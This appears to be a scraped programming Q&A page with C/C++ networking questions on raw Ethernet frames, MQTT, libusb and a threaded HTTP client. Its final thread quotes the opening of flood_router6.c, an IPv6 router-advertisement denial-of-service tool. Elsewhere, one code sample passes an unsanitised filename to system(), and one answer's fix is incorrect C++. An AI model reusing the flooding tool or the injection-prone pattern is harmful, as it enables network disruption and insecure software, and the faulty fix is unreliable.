I am writing a code to read the MAC address from the interface for listing the interface and it MAC address as I am not able to find the AF_LINK definition in either of the socket.h files.
As per internet resources i should see below:
#define AF_LINK 18 /* Link layer interface */
But my bits/socket.h contains:
#define PF_ASH 18 /* Ash. */
.
.
#define AF_ASH PF_ASH
Should I be using PF_ASH in place of AF_LINK?
Here is the part of my code that uses AF_LINK:
if ((family == AF_LINK) && (ifa->ifa_name[0] == 'e')) {
//This is for extracting interface number from interface name//
char newi[3];
int i, j;
for (i=0, j=0; i < strlen(ifa->ifa_name); i++) {
if (ifa->ifa_name[i] >= '0' && ifa->ifa_name[i] <= '9') {
newi[j++] = ifa->ifa_name[i];
}
}
newi[j] = '\0';
if_num = atoi(newi);
printf("Interface %d : %d\n", k++, if_num);
}
Full code:
/*
* ethernetsocket.c
*
* Created on: Feb 25, 2015
* Author: tsp3859
*/
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <bits/socket.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <ifaddrs.h>
#define MY_DEST_MAC0 0xff
#define MY_DEST_MAC1 0xff
#define MY_DEST_MAC2 0xff
#define MY_DEST_MAC3 0xff
#define MY_DEST_MAC4 0xff
#define MY_DEST_MAC5 0xff
// Source Ethernet interface
#define DEFAULT_InterFace "eth0"
#define DEFAULT_PayLoad "1.1.10"
// Allocating size to different containers
#define MAX_FRAME_SIZE 1024
#define MAX_PAYLD_SIZE 1000
#define HEADER_SIZE 14
int payLoad_Size = -1;
int frame_Size = -1;
int main(int argc, char *argv[]) {
int sockfd;
struct ifreq if_idx; // destination ethernet (optional)
struct ifreq if_mac; // destination mac address
int tx_len = 0; // header counter
char ifName[IFNAMSIZ]; // interface name
uint8_t header[HEADER_SIZE]; // ethernet header
char dummy_Payload[MAX_PAYLD_SIZE];
int if_num; // interface number, used for genarating VID
/*
* Run as one of the following command
* 1. ./a.out
* 2 ./a.out eth3
* 3. ./a.out eth4 PayLoad
*/
// Get Ethernet interface name from command line (optional)
if (argc > 1) {
if (argc == 2) {
strcpy(ifName, argv[1]);
strcpy(dummy_Payload, DEFAULT_PayLoad);
}
if (argc == 3) {
strcpy(ifName, argv[1]);
if (strlen(argv[2]) > 1000) {
memcpy(dummy_Payload, argv[2], MAX_PAYLD_SIZE);
} else
strcpy(dummy_Payload, argv[2]);
}
} else {
// Default case: All fields are optional
if (argc < 2) {
strcpy(ifName, DEFAULT_InterFace);
strcpy(dummy_Payload, DEFAULT_PayLoad);
}
}
//Getting interface number
struct ifaddrs *ifaddr, *ifa;
int family, s, n;
if (getifaddrs(&ifaddr) == -1) {
perror("getifaddrs");
exit(EXIT_FAILURE);
}
int k = 1; // Interface SNo.
for (ifa = ifaddr, n = 0; ifa != NULL; ifa = ifa->ifa_next, n++) {
if (ifa->ifa_addr == NULL)
continue;
family = ifa->ifa_addr->sa_family;
if ((family == AF_INET || family == AF_INET6) && (ifa->ifa_name[0] == 'e')) {
char newi[3];
int i, j;
for (i=0, j=0; i < strlen(ifa->ifa_name); i++) {
if (ifa->ifa_name[i] >= '0' && ifa->ifa_name[i] <= '9') {
newi[j++] = ifa->ifa_name[i];
}
}
newi[j] = '\0';
if_num = atoi(newi);
printf("Interface %d : %d\n", k++, if_num);
}
}
// Setting frame size
payLoad_Size = strlen(dummy_Payload);
// Setting payload, contains VID
char payLoad[payLoad_Size];
//memcpy(payLoad,dummy_Payload,payLoad_Size);
int len=0;
payLoad[len++]=1;
payLoad[len++]=1;
payLoad[len]=10;
frame_Size = HEADER_SIZE + strlen(payLoad);
//printf("Payload size is %d\n ", payLoad_Size);
printf("Frame size is %d\n ", frame_Size);
printf("Payload size is %d\n\n ", strlen(payLoad));
payLoad_Size=strlen(payLoad);
// creating frame
uint8_t frame[frame_Size];
struct ether_header *eh = (struct ether_header *) header;
struct sockaddr_ll socket_address;
// Open RAW socket to send on
if ((sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW)) == -1) {
perror("Socket Error");
}
memset(&if_idx, 0, sizeof(struct ifreq));
strncpy(if_idx.ifr_name, ifName, IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0)
perror("SIOCGIFINDEX - Misprint Compatibility");
memset(&if_mac, 0, sizeof(struct ifreq));
strncpy(if_mac.ifr_name, ifName, IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFHWADDR, &if_mac) < 0)
perror(
"SIOCGIFHWADDR - Either interface is not correct or disconnected");
// Initializing the Ethernet Header
memset(header, 0, HEADER_SIZE);
// Print-test initial header
printf("Zeros: %02x:%02x:%02x:%02x:%02x:%02x %02x:%02x:%02x:%02x:%02x:%02x %02x:%02x\n",
header[0], header[1], header[2], header[3], header[4], header[5],
header[6], header[7], header[8], header[9], header[10], header[11],
header[12], header[13]);
/*
* Ethernet Header - 14 bytes
*
* 6 bytes - Source MAC Address
* 6 bytes - Destination MAC Address
* 2 bytes - EtherType
*
*/
eh->ether_shost[0] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[0];
eh->ether_shost[1] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[1];
eh->ether_shost[2] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[2];
eh->ether_shost[3] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[3];
eh->ether_shost[4] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[4];
eh->ether_shost[5] = ((uint8_t *) &if_mac.ifr_hwaddr.sa_data)[5];
eh->ether_dhost[0] = MY_DEST_MAC0;
eh->ether_dhost[1] = MY_DEST_MAC1;
eh->ether_dhost[2] = MY_DEST_MAC2;
eh->ether_dhost[3] = MY_DEST_MAC3;
eh->ether_dhost[4] = MY_DEST_MAC4;
eh->ether_dhost[5] = MY_DEST_MAC5;
eh->ether_type = htons(0x8010);
tx_len += sizeof(struct ether_header);
// Copying header to frame
memcpy(frame, header, 14);
// Copying payLoad to frame
//printf("Payload: %d\n", payLoad[1]);
memcpy(frame + 14, payLoad, strlen(payLoad));
// Printing initial frame
printf(" Frame: %02x:%02x:%02x:%02x:%02x:%02x %02x:%02x:%02x:%02x:%02x:%02x %02x:%02x\n",
frame[0], frame[1], frame[2], frame[3], frame[4], frame[5],
frame[6], frame[7], frame[8], frame[9], frame[10], frame[11],
frame[12], frame[13]);
// Printing payLoad
printf("Payload: %d.%d.%d\n", frame[14],frame[15],frame[16]);
// Index of the network device
socket_address.sll_ifindex = if_idx.ifr_ifindex;
// Address length - 6 bytes
socket_address.sll_halen = ETH_ALEN;
// Destination MAC Address
socket_address.sll_addr[0] = MY_DEST_MAC0;
socket_address.sll_addr[1] = MY_DEST_MAC1;
socket_address.sll_addr[2] = MY_DEST_MAC2;
socket_address.sll_addr[3] = MY_DEST_MAC3;
socket_address.sll_addr[4] = MY_DEST_MAC4;
socket_address.sll_addr[5] = MY_DEST_MAC5;
// Send packet
if (sendto(sockfd, frame, tx_len + strlen(payLoad), 0,
(struct sockaddr*) &socket_address, sizeof(struct sockaddr_ll)) < 0)
printf("Send failed\n");
freeifaddrs(ifaddr);
exit(EXIT_SUCCESS);
return 0;
}
Related
Complete C++/C newbie here. I recompiled gcz2tga (I did not make this code, just found it on the webs) into a debug .exe file using Visual Studio 2019. Everything works well until it gets to "split_images" and then the program spits out this error:
Debug Error!
Program: C:\Users\Harrison\source\repos\gcz2tga\Debug\gcz2tga.exe
abort() has been called
(Press Retry to debug the application)
When I hit Retry, the program closes. The code is set up like this:
/* gcz2tga.c: Slice up a directory full of GCZ (texture) files into TGA files.
*
* Credit goes to afwefwe for reverse-engineering the texture format
* and LZSS compression */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
/* Assuming x86, usual endian crap is not accounted for */
typedef unsigned char u8_t;
typedef unsigned short u16_t;
typedef unsigned int u32_t;
struct image
{
unsigned int width, height;
u8_t *planes;
};
struct clip
{
short x, y, w, h;
};
static u16_t swab16(u16_t in)
{
/* GC headers are big-endian */
return ((in & 0xFF) << 8) | (in >> 8);
}
static void unpack_gc(struct image *out, u8_t *in, size_t out_sz)
{
unsigned int npixels;
unsigned int i;
unsigned int j;
u16_t *pixels;
u16_t *pheight;
u16_t *pwidth;
u16_t *pmagic;
u16_t pixel;
pmagic = (u16_t *) in;
pheight = (u16_t *) (in + 14);
pwidth = (u16_t *) (in + 12);
if (*pmagic != 0x4347) {
fprintf(stderr, "(FAIL: Invalid header)\n");
exit(EXIT_FAILURE);
}
/* Set up output image struct */
in += 24;
out->width = swab16(*pwidth);
out->height = swab16(*pheight);
out->planes = malloc(out->width * out->height * 4);
/* Clamp W/H (don't know why this is necessary but it is) */
out->width = out->width > 1024 ? 1024 : out->width;
out->height = out->height > 1024 ? 1024 : out->height;
fprintf(stderr, "(%dx%d)", out->width, out->height);
/* Unpack pixels */
pixels = (u16_t *) in;
npixels = out->width * out->height;
if (out_sz > npixels * 4) {
/* Deep image (i.e. 32-bit) */
memcpy(out->planes, pixels, npixels * 4);
} else {
/* Shallow image (i.e. 16-bit) */
for (i = 0, j = 0 ; i < npixels ; i++) {
pixel = pixels[i];
out->planes[j++] = ((pixel ) & 0x1F) << 3; /* B */
out->planes[j++] = ((pixel >> 5) & 0x1F) << 3; /* G */
out->planes[j++] = ((pixel >> 10) ) << 3; /* R */
out->planes[j++] = pixel & 0x8000 ? 0xFF : 0x00; /* A */
}
}
}
static u8_t *expand_lzss(u8_t *lzss, size_t *pout_sz)
{
static u8_t ring[0x1000];
unsigned int ring_pos = 0x0FEE;
unsigned int chunk_offset;
unsigned int chunk_length;
u32_t control_word = 1;
size_t length;
u8_t cmd1;
u8_t cmd2;
u8_t *out;
u8_t *pos;
u8_t *in;
/* Header = 32 bit unpacked file length */
length = *((u32_t *) lzss);
*pout_sz = length;
if (length > 8000000) {
fprintf(stderr, "(FAIL: Unreasonably large expanded size %d)\n",
length);
exit(EXIT_FAILURE);
}
out = malloc(length * 2); /* Seems to overrun */
pos = out;
in = lzss + 4;
while (length > 0) {
if (control_word == 1) {
/* Read a control byte */
control_word = 0x100 | *in++;
}
/* Decode a byte according to the current control byte bit */
if (control_word & 1) {
/* Straight copy */
*pos++ = *in;
ring[ring_pos] = *in++;
ring_pos = (ring_pos + 1) % 0x1000;
length--;
} else {
/* Reference to data in ring buffer */
cmd1 = *in++;
cmd2 = *in++;
chunk_length = (cmd2 & 0x0F) + 3;
chunk_offset = ((cmd2 & 0xF0) << 4) | cmd1;
for ( ; chunk_length > 0 ; chunk_length--) {
/* Copy historical data to output AND current ring pos */
*pos++ = ring[chunk_offset];
ring[ring_pos] = ring[chunk_offset];
/* Update counters */
chunk_offset = (chunk_offset + 1) % 0x1000;
ring_pos = (ring_pos + 1) % 0x1000;
length--;
}
}
/* Get next control bit */
control_word >>= 1;
}
return out;
}
static void readfile(const char *filename, u8_t **data, long *nbytes)
{
FILE *f;
f = fopen(filename, "rb");
if (f == NULL) abort();
fseek(f, 0, SEEK_END);
*nbytes = ftell(f);
fseek(f, 0, SEEK_SET);
*data = malloc(*nbytes);
fread(*data, *nbytes, 1, f);
fclose(f);
}
void put8(FILE *f, unsigned char val)
{
fwrite(&val, 1, 1, f);
}
void put16(FILE *f, unsigned short val)
{
fwrite(&val, 2, 1, f);
}
void split_images(const char *in_dir, const char *out_dir,
struct image *images, int nimages)
{
struct clip *clips;
char filename[512];
long nbytes;
u8_t *data;
char *name;
FILE *f;
int i;
int j;
int k;
/* Read file and get TOC */
sprintf(filename, "%s/system.idx", in_dir);
readfile(filename, &data, &nbytes);
clips = (struct clip *) (data + 0x01BC);
name = (char *) (data + 8 + *((long *) data));
/* Guess how many clips there are with a heuristic */
for (i = 0 ; clips[i].w != 0 && clips[i].h != 0 ; i++) {
sprintf(filename, "%s/%s.tga", out_dir, name);
name += strlen(name) + 3;
f = fopen(filename, "wb");
if (f == NULL) abort();
/* Locate the correct source image */
j = 0;
while (clips[i].y > images[j].height) {
clips[i].y -= images[j].height;
j++;
}
/* Write header */
put8(f, 0); put8(f, 0); put8(f, 2);
put16(f, 0); put16(f, 0); put8(f, 0);
put16(f, 0); put16(f, 0); put16(f, clips[i].w); put16(f, clips[i].h);
put8(f, 32); put8(f, 32);
/* Write scanlines */
for (k = 0 ; k < clips[i].h ; k++) {
if (clips[i].y == images[j].height) {
clips[i].y = 0;
j++;
}
fwrite(images[j].planes + ((images[j].width * clips[i].y) +
clips[i].x) * 4, clips[i].w, 4, f);
clips[i].y++;
}
/* Close output file */
fclose(f);
}
/* Cleanup */
free(data);
}
int main(int argc, char **argv)
{
char *in_dir;
char *out_dir;
struct image images[32];
char filename[256];
unsigned int i;
long filesize;
u8_t *lzss, *gc;
size_t out_sz;
FILE *f;
/* Usage */
if (argc != 3) {
fprintf(stderr, "Usage: %s [indir] [outdir]\n", argv[0]);
return EXIT_FAILURE;
}
/* Setup */
memset(images, 0, sizeof(images));
in_dir = argv[1];
out_dir = argv[2];
for (i = 0 ; i < 32 ; i++) {
/* Open 0.gcz, 1.gcz etc ... */
sprintf(filename, "%s/%d.gcz", in_dir, i);
f = fopen(filename, "rb");
if (f == NULL) break;
/* Read entire file */
fseek(f, 0, SEEK_END);
filesize = ftell(f);
fseek(f, 0, SEEK_SET);
fprintf(stderr, "%s: fread", filename);
lzss = malloc(filesize);
fread(lzss, filesize, 1, f);
fclose(f);
/* Decompress */
fprintf(stderr, "(OK) expand_lzss");
gc = expand_lzss(lzss, &out_sz);
free(lzss);
/* Unpack GC to 32-bit RGBA */
fprintf(stderr, "(OK) unpack_gc");
unpack_gc(&images[i], gc, out_sz);
free(gc);
fprintf(stderr, "(OK)\n");
}
/* Sanity check */
if (i == 0) {
fprintf(stderr, "No GCZ files found\n");
exit(EXIT_FAILURE);
}
/* Emit pile of TGAs */
fprintf(stderr, "split_images");
split_images(in_dir, out_dir, images, i);
fprintf(stderr, "(OK)\n\n");
return 0;
}
What is wrong with the code that could be causing this? The code is unaltered save for #define _CRT_SECURE_NO_WARNINGS being added to the code before the #include headers and having the program compiled as C.
I am using libftdi with multiple ftdi devices for a program running on Ubuntu 14.04. I have a udev rule that detects the devices based on a custom manufacturer string and gives them a symlink in the dev directory. It would look similar to /dev/my-device. I would like to use libftdi to open the device using this string instead of the pid/vid/serial number.
I did not see that this capability was available in libftdi so I checked libusb and didn't see that functionality either.
You could try this:
static int usbGetDescriptorString(usb_dev_handle *dev, int index, int langid, char *buf, int buflen) {
char buffer[256];
int rval, i;
// make standard request GET_DESCRIPTOR, type string and given index
// (e.g. dev->iProduct)
rval = usb_control_msg(dev,
USB_TYPE_STANDARD | USB_RECIP_DEVICE | USB_ENDPOINT_IN,
USB_REQ_GET_DESCRIPTOR, (USB_DT_STRING << 8) + index, langid,
buffer, sizeof(buffer), 1000);
if (rval < 0) // error
return rval;
// rval should be bytes read, but buffer[0] contains the actual response size
if ((unsigned char)buffer[0] < rval)
rval = (unsigned char)buffer[0]; // string is shorter than bytes read
if (buffer[1] != USB_DT_STRING) // second byte is the data type
return 0; // invalid return type
// we're dealing with UTF-16LE here so actual chars is half of rval,
// and index 0 doesn't count
rval /= 2;
/* lossy conversion to ISO Latin1 */
for (i = 1; i < rval && i < buflen; i++) {
if (buffer[2 * i + 1] == 0)
buf[i - 1] = buffer[2 * i];
else
buf[i - 1] = '?'; /* outside of ISO Latin1 range */
}
buf[i - 1] = 0;
return i - 1;
}
static usb_dev_handle * usbOpenDevice(int vendor, char *vendorName, int product, char *productName) {
struct usb_bus *bus;
struct usb_device *dev;
char devVendor[256], devProduct[256];
usb_dev_handle * handle = NULL;
usb_init();
usb_find_busses();
usb_find_devices();
for (bus = usb_get_busses(); bus; bus = bus->next) {
for (dev = bus->devices; dev; dev = dev->next) {
if (dev->descriptor.idVendor != vendor ||
dev->descriptor.idProduct != product)
continue;
/* we need to open the device in order to query strings */
if (!(handle = usb_open(dev))) {
fprintf(stderr, "Warning: cannot open USB device: %sn",
usb_strerror());
continue;
}
/* get vendor name */
if (usbGetDescriptorString(handle, dev->descriptor.iManufacturer, 0x0409, devVendor, sizeof(devVendor)) < 0) {
fprintf(stderr,
"Warning: cannot query manufacturer for device: %sn",
usb_strerror());
usb_close(handle);
continue;
}
/* get product name */
if (usbGetDescriptorString(handle, dev->descriptor.iProduct, 0x0409, devProduct, sizeof(devVendor)) < 0) {
fprintf(stderr,
"Warning: cannot query product for device: %sn",
usb_strerror());
usb_close(handle);
continue;
}
if (strcmp(devVendor, vendorName) == 0 &&
strcmp(devProduct, productName) == 0)
return handle;
else
usb_close(handle);
}
}
return NULL;
}
I have written a client code for mqtt which is supposed to connect (just connect to server for now) to a active mq server. following is the code:
#include "stdafx.h"
#include<iostream>
#include<winsock2.h>
#include "mqtt.h"
#pragma comment(lib,"ws2_32.lib") //Winsock Library
#include <stdlib.h>
#include <winsock2.h>
void mqtt_init(mqtt_broker_handle_t* broker, const char* clientid) {
// Connection options
broker->alive = 300; // 300 seconds = 5 minutes
broker->seq = 1; // Sequence for message identifiers
// Client options
memset(broker->clientid, 0, sizeof(broker->clientid));
memset(broker->username, 0, sizeof(broker->username));
memset(broker->password, 0, sizeof(broker->password));
if(clientid) {
strncpy_s(broker->clientid, clientid, sizeof(broker->clientid));
} else {
strcpy_s(broker->clientid, "emqtt");
}
// Will topic
broker->clean_session = 1;
}
void mqtt_init_auth(mqtt_broker_handle_t* broker, const char* username, const char* password)
{
if(username && username[0] != '\0')
strncpy_s(broker->username, username, sizeof(broker->username)-1);
if(password && password[0] != '\0')
strncpy_s(broker->password, password, sizeof(broker->password)-1);
}
using namespace std;
int main(int argc , char *argv[])
{
WSADATA wsa;
SOCKET s;
struct sockaddr_in server;
char message[1000] , server_reply[2000];
int recv_size;
int packet_length;
uint16_t msg_id, msg_id_rcv;
mqtt_broker_handle_t broker;
mqtt_init(&broker, "localhost");
mqtt_init_auth(&broker, "cid", "campeador");
printf("\nInitialising Winsock...");
if (WSAStartup(MAKEWORD(2,2),&wsa) != 0) {
cout<<"Failed. Error Code : "<<WSAGetLastError();
return 1;
}
cout<<"Initialised.\n";
//Create a socket
if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
{
cout<<"Could not create socket : " << WSAGetLastError();
}
cout<<"Socket created.\n";
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_family = AF_INET;
server.sin_port = htons( 1993);
//Connect to remote server
if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0)
{
puts("connect error");
return 1;
}
puts("Connected");
mqtt_connect(&broker);
recv_size = recv(s, server_reply, 2000, 0);
server_reply[recv_size] = '\0';
while ( server_reply != "end"){
cout<<server_reply<<endl;
recv_size = recv(s, server_reply, 2000, 0);
server_reply[recv_size] = '\0';
}
closesocket(s);
WSACleanup();
return 0;
}
And also the following is the code for mqtt.h
#ifndef __LIBEMQTT_H__
#define __LIBEMQTT_H__
#endif
#include <stdint.h>
#include <string.h>
#ifndef MQTT_CONF_USERNAME_LENGTH
#define MQTT_CONF_USERNAME_LENGTH 13 // Recommended by MQTT Specification (12 + '\0')
#endif
#ifndef MQTT_CONF_PASSWORD_LENGTH
#define MQTT_CONF_PASSWORD_LENGTH 13 // Recommended by MQTT Specification (12 + '\0')
#endif
#define MQTT_MSG_CONNECT 1<<4
#define MQTT_MSG_CONNACK 2<<4
#define MQTT_MSG_PUBLISH 3<<4
#define MQTT_MSG_PUBACK 4<<4
#define MQTT_MSG_PUBREC 5<<4
#define MQTT_MSG_PUBREL 6<<4
#define MQTT_MSG_PUBCOMP 7<<4
#define MQTT_MSG_SUBSCRIBE 8<<4
#define MQTT_MSG_SUBACK 9<<4
#define MQTT_MSG_UNSUBSCRIBE 10<<4
#define MQTT_MSG_UNSUBACK 11<<4
#define MQTT_MSG_PINGREQ 12<<4
#define MQTT_MSG_PINGRESP 13<<4
#define MQTT_MSG_DISCONNECT 14<<4
#define MQTT_DUP_FLAG 1<<3
#define MQTT_QOS0_FLAG 0<<1
#define MQTT_QOS1_FLAG 1<<1
#define MQTT_QOS2_FLAG 2<<1
#define MQTT_RETAIN_FLAG 1
#define MQTT_CLEAN_SESSION 1<<1
#define MQTT_WILL_FLAG 1<<2
#define MQTT_WILL_RETAIN 1<<5
#define MQTT_USERNAME_FLAG 1<<7
#define MQTT_PASSWORD_FLAG 1<<6
typedef struct {
void* socket_info;
int (*send)(void* socket_info, const void* buf, unsigned int count);
// Connection info
char clientid[50];
// Auth fields
char username[MQTT_CONF_USERNAME_LENGTH];
char password[MQTT_CONF_PASSWORD_LENGTH];
// Will topic
uint8_t will_retain;
uint8_t will_qos;
uint8_t clean_session;
// Management fields
uint16_t seq;
uint16_t alive;
} mqtt_broker_handle_t;
int mqtt_connect(mqtt_broker_handle_t* broker)
{
uint8_t flags = 0x00;
uint16_t clientidlen = strlen(broker->clientid);
uint16_t usernamelen = strlen(broker->username);
uint16_t passwordlen = strlen(broker->password);
uint16_t payload_len = clientidlen + 2;
// Preparing the flags
if(usernamelen) {
payload_len += usernamelen + 2;
flags |= MQTT_USERNAME_FLAG;
}
if(passwordlen) {
payload_len += passwordlen + 2;
flags |= MQTT_PASSWORD_FLAG;
}
if(broker->clean_session) {
flags |= MQTT_CLEAN_SESSION;
}
// Variable header
uint8_t var_header[] = {
0x00,0x06,0x4d,0x51,0x49,0x73,0x64,0x70, // Protocol name: MQTT
0x03, // Protocol version
flags, // Connect flags
broker->alive>>8, broker->alive&0xFF, // Keep alive
};
// Fixed header
uint8_t fixedHeaderSize = 2; // Default size = one byte Message Type + one byte Remaining Length
uint8_t remainLen = sizeof(var_header)+payload_len;
if (remainLen > 127) {
fixedHeaderSize++; // add an additional byte for Remaining Length
}
uint8_t fixed_header[2];
// Message Type
fixed_header[0] = MQTT_MSG_CONNECT;
// Remaining Length
if (remainLen <= 127) {
fixed_header[1] = remainLen;
} else {
// first byte is remainder (mod) of 128, then set the MSB to indicate more bytes
fixed_header[1] = remainLen % 128;
fixed_header[1] = fixed_header[1] | 0x80;
// second byte is number of 128s
fixed_header[2] = remainLen / 128;
}
uint16_t offset = 0;
uint8_t packet[sizeof(fixed_header)+sizeof(var_header)+ sizeof(payload_len)];
memset(packet, 0, sizeof(packet));
memcpy(packet, fixed_header, sizeof(fixed_header));
offset += sizeof(fixed_header);
memcpy(packet+offset, var_header, sizeof(var_header));
offset += sizeof(var_header);
// Client ID - UTF encoded
packet[offset++] = clientidlen>>8;
packet[offset++] = clientidlen&0xFF;
memcpy(packet+offset, broker->clientid, clientidlen);
offset += clientidlen;
if(usernamelen) {
// Username - UTF encoded
packet[offset++] = usernamelen>>8;
packet[offset++] = usernamelen&0xFF;
memcpy(packet+offset, broker->username, usernamelen);
offset += usernamelen;
}
if(passwordlen) {
// Password - UTF encoded
packet[offset++] = passwordlen>>8;
packet[offset++] = passwordlen&0xFF;
memcpy(packet+offset, broker->password, passwordlen);
offset += passwordlen;
}
return 1;
}
When I debug the code there are no errors however when I run the code I get error stating that "the stack around the variable 'packet' is corrupt". I am very new to socket programming and mqtt in general so any help would be great.
What you've shown is derived from libemqtt (which is GPL licensed by the way, don't forget that :), have you tried starting from the examples that they provide?
libemqtt isn't actively developed and has a notice saying "DO NOT USE". Unless you're particularly interested in solving the problem of using MQTT for yourself, I'd suggest you look at something different, like the Paho or mosquitto client libraries.
Im developing a c++ program (most like an exercise class) about a client and a server, using HTTP protocol, the user give to the client a file file name and size (bytes), then the client create n threads and each one ask for an specific number of bytes to the server, the server attend the order and the client receive the data and put all together.
My program work fine for small files (100kb - 200kb), but when I try to send large files (Mb for example) from the server all bytes are received but the final file is corrupted, every thread had its own init and end byte number and create a file named like "file_n.txt" so there isn't problem in the order of the bytes at the time of put all the bytes together, the final corrupted file have the same number of bytes than the original (all bytes were received, also I check the server logs about the bytes interval the thread is asking for) but it's hexdump is different (obviously).
Did you think fwrite function has something to do with this issue? if yes, will be cool you point me to the right direction please, Im trying hard to solve this problem, this is my client.cpp code
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <iostream>
#include <string>
#include <sstream>
using namespace std;
const int MAX_HEADER_SIZE = 1000;
int threadsEnd = 0;
struct bytes
{
int initByte;
int endByte;
int bufferSize;
int id;
char * port;
char * ip;
char * image;
};
void error(const char *msg)
{
perror(msg);
exit(0);
}
void * request_bytes (void * parameters)
{
struct bytes * p = (struct bytes *) parameters;
int sockfd, portno, n;
struct sockaddr_in serv_addr;
struct hostent *server;
int totalBuffer = MAX_HEADER_SIZE + p->bufferSize + 1;
int totalBodyContent = p->bufferSize + 1;
char buffer[totalBuffer];
char bodyContent[totalBodyContent];
portno = atoi(p->port);
server = gethostbyname(p->ip);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
serv_addr.sin_port = htons(portno);
if (connect(sockfd,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0)
error("ERROR connecting");
ostringstream init,end;
init << p->initByte;
end << p->endByte;
string HttpRequestString = string("POST / HTTP/1.1\r\n")
+ string("Host: ") + p->ip + string("\n")
+ string("Connection: Close\n")
+ string("Content-Length: 4\n")
+ string("Content-Type: txt\n\n")
+ string("nombre=") + p->image + string("&inicio=") + init.str() + string("&fin=") + end.str() + string("\n");
const char * HttpRequest = HttpRequestString.c_str();
n = write(sockfd,(void *)HttpRequest, strlen(HttpRequest));
if (n < 0)
error("ERROR writing to socket");
bzero(buffer,(MAX_HEADER_SIZE + p->bufferSize));
int headerEndDetermined = 0, bodyEnd = 0;
int x = 1;
int bodyInit = 1;
int total_bytes = 0;
n = read(sockfd,buffer,((MAX_HEADER_SIZE + p->bufferSize) - 1));
if (n < 0)
error("ERROR reading from socket");
for(; x < strlen(buffer); x++)
if(buffer[x - 1] == '\n')
if(buffer[x] == '\n')
{
headerEndDetermined = 1;
bodyInit = x + 1;
break;
}
for(x = 0; x < p->bufferSize ; x++)
{
bodyContent[x] = buffer[bodyInit];
bodyInit++;
}
//Escritura de archivo
char filename[32];
snprintf(filename, sizeof(char) * 32, "file%i", p->id);
FILE * pFile;
pFile = fopen (filename,"wb");
if(pFile != NULL)
{
fwrite (bodyContent,1,sizeof(bodyContent) - 1,pFile);
fclose (pFile);
}
close(sockfd);
threadsEnd++;
return NULL;
}
int main (int argc, char *argv[])
{
if (argc < 5) {
fprintf(stderr,"uso %s hostname puerto image_name bytes\n", argv[0]);
exit(0);
}
int globalByte = atoi(argv[4]);
int threadRequest = 10;
int requestBytes = (globalByte / threadRequest);
int globalInitialByte = 1;
int globalEndByte = requestBytes;
int x = 0, i = 1;
int totalBytesRequested = 0;
pthread_t request[threadRequest];
for(; x < threadRequest; x++){
struct bytes request_args;
request_args.initByte = globalInitialByte;
request_args.endByte = globalEndByte;
request_args.bufferSize = requestBytes;
request_args.id = x + 1;
globalInitialByte = globalEndByte + 1;
globalEndByte = globalEndByte + requestBytes;
if(x == (threadRequest - 1))
{
if((totalBytesRequested + requestBytes) < globalByte)
{
request_args.endByte = globalByte;
request_args.bufferSize = requestBytes + (globalByte - (totalBytesRequested + requestBytes));
}
}
request_args.ip = argv[1];
request_args.port = argv[2];
request_args.image = argv[3];
pthread_create (&request[x], NULL, &request_bytes, &request_args);
pthread_join (request[x], NULL);
totalBytesRequested += requestBytes;
}
/*do
{
cout<<"Threads completos: "<<threadsEnd<<endl;
}while(threadsEnd < threadRequest);*/
string createFileString = string("cat ");
for(; i <= threadRequest; i++)
{
ostringstream filen;
filen << i;
createFileString = createFileString + string("file") + filen.str() + string(" ");
}
createFileString = createFileString + string("> new_") + argv[3];
system(createFileString.c_str());
return 0;
}
Sorry about my bad grammar :p.
You have lots of bugs.
The HTTP protocol specifies that lines must end with "\r\n", not "\n".
You specify a content length of four bytes, but your content is longer than that.
Don't use sizeof or strlen when your code already knows the sizes of things. It will get you into trouble.
You only call read once. You need to keep calling read until you receive all the data.
You specify HTTP 1.1 compliance, but your code doesn't actually comply with the HTTP 1.1 specification. For example, your code would break horribly if you received data with chunked encoding. HTTP 1.1 clients are required to support chunked encoding. "All HTTP/1.1 applications MUST be able to receive and decode the chunked transfer-coding[.]" -- RFC2616 3.6.1.
I don't think you can declare character string sizes at run time, you will need to change
char buffer[totalBuffer];
char bodyContent[totalBodyContent];
to
char buffer = new char[totalBuffer];
char bodyContent = new char[totalBodyContent];
and delete the buffers at the end
delete [] buffer;
delete [] bodyContent;
Alternatively, you could use malloc() and free() to allocate and free the buffers.
This code is a Denial of Service attack program in BackTrack from http://www.thc.org/
The code's name is flood_router6.c
In the code shown below, I have problem what are these functions doing:
thc_create_ipv6()
thc_add_icmp6()
thc_generate_and_send_pkt()
there are no functions like that in "thc-ipv6.h" library.
What are these functions do? I searched on google and there are no answer.
Anyone can help?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
extern int debug;
void help(char *prg) {
printf("%s %s (c) 2010 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s [-r] interface\n\n", prg);
printf("Flood the local network with router advertisements.\n");
printf("Use -r to use raw mode.\n\n");
exit(-1);
}
int main(int argc, char *argv[]) {
char *interface, mac[6] = "";
unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
unsigned char buf[56];
